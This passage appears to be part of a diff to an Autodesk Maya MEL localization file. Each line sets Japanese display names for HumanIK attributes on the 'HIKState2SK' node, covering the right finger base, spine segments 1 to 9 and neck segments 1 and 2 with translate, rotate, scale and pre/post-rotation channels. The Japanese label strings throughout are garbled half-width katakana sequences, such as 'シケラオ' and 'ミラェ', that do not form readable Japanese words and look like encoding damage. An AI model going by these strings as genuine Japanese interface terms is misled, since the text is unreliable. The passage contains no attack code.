+setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseTy", "モメハヨヨククニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseTz", "モメハヨヨククニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseR", "モメハヨヨククミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseRx", "モメハヨヨククミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseRy", "モメハヨヨククミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseRz", "モメハヨヨククミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseS", "モメハヨヨククヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseSx", "モメハヨヨククヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseSy", "モメハヨヨククヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseSz", "モメハヨヨククヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePGX", "モメハヨヨクク PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseROrder", "モメハヨヨククミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseSC", "モメハヨヨクク SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseIS", "モメハヨヨクク IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseISx", "モメハヨヨクク ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseISy", "モメハヨヨクク ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseISz", "モメハヨヨクク ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePreR", "モメハヨヨククミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePreRx", "モメハヨヨククミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePreRy", "モメハヨヨククミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePreRz", "モメハヨヨククミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePostR", "モメハヨヨククミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePostRx", "モメハヨヨククミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePostRy", "モメハヨヨククミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePostRz", "モメハヨヨククミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1T", "シケラオ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Tx", "シケラオ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Ty", "シケラオ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Tz", "シケラオ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1R", "シケラオ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Rx", "シケラオ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Ry", "シケラオ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Rz", "シケラオ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1S", "シケラオ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Sx", "シケラオ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Sy", "シケラオ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Sz", "シケラオ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PGX", "シケラオ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1ROrder", "シケラオ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1SC", "シケラオ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1IS", "シケラオ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1ISx", "シケラオ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1ISy", "シケラオ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1ISz", "シケラオ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PreR", "シケラオ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PreRx", "シケラオ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PreRy", "シケラオ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PreRz", "シケラオ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PostR", "シケラオ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PostRx", "シケラオ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PostRy", "シケラオ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PostRz", "シケラオ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2T", "シケラオ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Tx", "シケラオ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Ty", "シケラオ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Tz", "シケラオ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2R", "シケラオ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Rx", "シケラオ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Ry", "シケラオ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Rz", "シケラオ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2S", "シケラオ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Sx", "シケラオ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Sy", "シケラオ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Sz", "シケラオ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PGX", "シケラオ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2ROrder", "シケラオ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2SC", "シケラオ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2IS", "シケラオ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2ISx", "シケラオ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2ISy", "シケラオ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2ISz", "シケラオ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PreR", "シケラオ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PreRx", "シケラオ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PreRy", "シケラオ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PreRz", "シケラオ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PostR", "シケラオ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PostRx", "シケラオ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PostRy", "シケラオ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PostRz", "シケラオ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3T", "シケラオ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Tx", "シケラオ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Ty", "シケラオ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Tz", "シケラオ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3R", "シケラオ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Rx", "シケラオ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Ry", "シケラオ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Rz", "シケラオ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3S", "シケラオ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Sx", "シケラオ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Sy", "シケラオ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Sz", "シケラオ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PGX", "シケラオ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3ROrder", "シケラオ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3SC", "シケラオ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3IS", "シケラオ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3ISx", "シケラオ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3ISy", "シケラオ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3ISz", "シケラオ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PreR", "シケラオ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PreRx", "シケラオ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PreRy", "シケラオ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PreRz", "シケラオ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PostR", "シケラオ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PostRx", "シケラオ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PostRy", "シケラオ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PostRz", "シケラオ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4T", "シケラオ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Tx", "シケラオ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Ty", "シケラオ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Tz", "シケラオ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4R", "シケラオ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Rx", "シケラオ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Ry", "シケラオ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Rz", "シケラオ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4S", "シケラオ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Sx", "シケラオ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Sy", "シケラオ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Sz", "シケラオ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PGX", "シケラオ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4ROrder", "シケラオ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4SC", "シケラオ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4IS", "シケラオ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4ISx", "シケラオ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4ISy", "シケラオ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4ISz", "シケラオ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PreR", "シケラオ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PreRx", "シケラオ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PreRy", "シケラオ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PreRz", "シケラオ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PostR", "シケラオ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PostRx", "シケラオ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PostRy", "シケラオ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PostRz", "シケラオ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5T", "シケラオ 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Tx", "シケラオ 5 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Ty", "シケラオ 5 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Tz", "シケラオ 5 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5R", "シケラオ 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Rx", "シケラオ 5 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Ry", "シケラオ 5 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Rz", "シケラオ 5 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5S", "シケラオ 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Sx", "シケラオ 5 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Sy", "シケラオ 5 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Sz", "シケラオ 5 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PGX", "シケラオ 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5ROrder", "シケラオ 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5SC", "シケラオ 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5IS", "シケラオ 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5ISx", "シケラオ 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5ISy", "シケラオ 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5ISz", "シケラオ 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PreR", "シケラオ 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PreRx", "シケラオ 5 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PreRy", "シケラオ 5 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PreRz", "シケラオ 5 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PostR", "シケラオ 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PostRx", "シケラオ 5 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PostRy", "シケラオ 5 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PostRz", "シケラオ 5 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6T", "シケラオ 6 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Tx", "シケラオ 6 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Ty", "シケラオ 6 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Tz", "シケラオ 6 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6R", "シケラオ 6 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Rx", "シケラオ 6 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Ry", "シケラオ 6 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Rz", "シケラオ 6 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6S", "シケラオ 6 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Sx", "シケラオ 6 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Sy", "シケラオ 6 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Sz", "シケラオ 6 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PGX", "シケラオ 6 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6ROrder", "シケラオ 6 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6SC", "シケラオ 6 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6IS", "シケラオ 6 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6ISx", "シケラオ 6 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6ISy", "シケラオ 6 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6ISz", "シケラオ 6 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PreR", "シケラオ 6 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PreRx", "シケラオ 6 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PreRy", "シケラオ 6 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PreRz", "シケラオ 6 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PostR", "シケラオ 6 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PostRx", "シケラオ 6 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PostRy", "シケラオ 6 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PostRz", "シケラオ 6 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7T", "シケラオ 7 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Tx", "シケラオ 7 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Ty", "シケラオ 7 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Tz", "シケラオ 7 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7R", "シケラオ 7 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Rx", "シケラオ 7 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Ry", "シケラオ 7 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Rz", "シケラオ 7 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7S", "シケラオ 7 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Sx", "シケラオ 7 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Sy", "シケラオ 7 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Sz", "シケラオ 7 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PGX", "シケラオ 7 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7ROrder", "シケラオ 7 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7SC", "シケラオ 7 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7IS", "シケラオ 7 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7ISx", "シケラオ 7 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7ISy", "シケラオ 7 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7ISz", "シケラオ 7 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PreR", "シケラオ 7 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PreRx", "シケラオ 7 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PreRy", "シケラオ 7 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PreRz", "シケラオ 7 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PostR", "シケラオ 7 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PostRx", "シケラオ 7 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PostRy", "シケラオ 7 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PostRz", "シケラオ 7 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8T", "シケラオ 8 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Tx", "シケラオ 8 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Ty", "シケラオ 8 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Tz", "シケラオ 8 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8R", "シケラオ 8 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Rx", "シケラオ 8 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Ry", "シケラオ 8 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Rz", "シケラオ 8 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8S", "シケラオ 8 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Sx", "シケラオ 8 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Sy", "シケラオ 8 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Sz", "シケラオ 8 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PGX", "シケラオ 8 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8ROrder", "シケラオ 8 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8SC", "シケラオ 8 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8IS", "シケラオ 8 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8ISx", "シケラオ 8 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8ISy", "シケラオ 8 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8ISz", "シケラオ 8 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PreR", "シケラオ 8 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PreRx", "シケラオ 8 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PreRy", "シケラオ 8 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PreRz", "シケラオ 8 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PostR", "シケラオ 8 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PostRx", "シケラオ 8 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PostRy", "シケラオ 8 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PostRz", "シケラオ 8 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9T", "シケラオ 9 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Tx", "シケラオ 9 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Ty", "シケラオ 9 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Tz", "シケラオ 9 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9R", "シケラオ 9 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Rx", "シケラオ 9 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Ry", "シケラオ 9 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Rz", "シケラオ 9 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9S", "シケラオ 9 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Sx", "シケラオ 9 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Sy", "シケラオ 9 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Sz", "シケラオ 9 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PGX", "シケラオ 9 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9ROrder", "シケラオ 9 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9SC", "シケラオ 9 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9IS", "シケラオ 9 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9ISx", "シケラオ 9 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9ISy", "シケラオ 9 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9ISz", "シケラオ 9 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PreR", "シケラオ 9 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PreRx", "シケラオ 9 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PreRy", "シケラオ 9 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PreRz", "シケラオ 9 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PostR", "シケラオ 9 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PostRx", "シケラオ 9 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PostRy", "シケラオ 9 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PostRz", "シケラオ 9 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1T", "セアイソ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Tx", "セアイソ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Ty", "セアイソ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Tz", "セアイソ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1R", "セアイソ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Rx", "セアイソ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Ry", "セアイソ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Rz", "セアイソ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1S", "セアイソ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Sx", "セアイソ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Sy", "セアイソ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Sz", "セアイソ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PGX", "セアイソ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1ROrder", "セアイソ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1SC", "セアイソ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1IS", "セアイソ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1ISx", "セアイソ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1ISy", "セアイソ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1ISz", "セアイソ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PreR", "セアイソ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PreRx", "セアイソ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PreRy", "セアイソ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PreRz", "セアイソ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PostR", "セアイソ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PostRx", "セアイソ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PostRy", "セアイソ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PostRz", "セアイソ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2T", "セアイソ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Tx", "セアイソ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Ty", "セアイソ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Tz", "セアイソ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2R", "セアイソ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Rx", "セアイソ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Ry", "セアイソ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Rz", "セアイソ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2S", "セアイソ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Sx", "セアイソ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Sy", "セアイソ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Sz", "セアイソ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PGX", "セアイソ 2 PGX" ); +setAttrNiceNameResource( 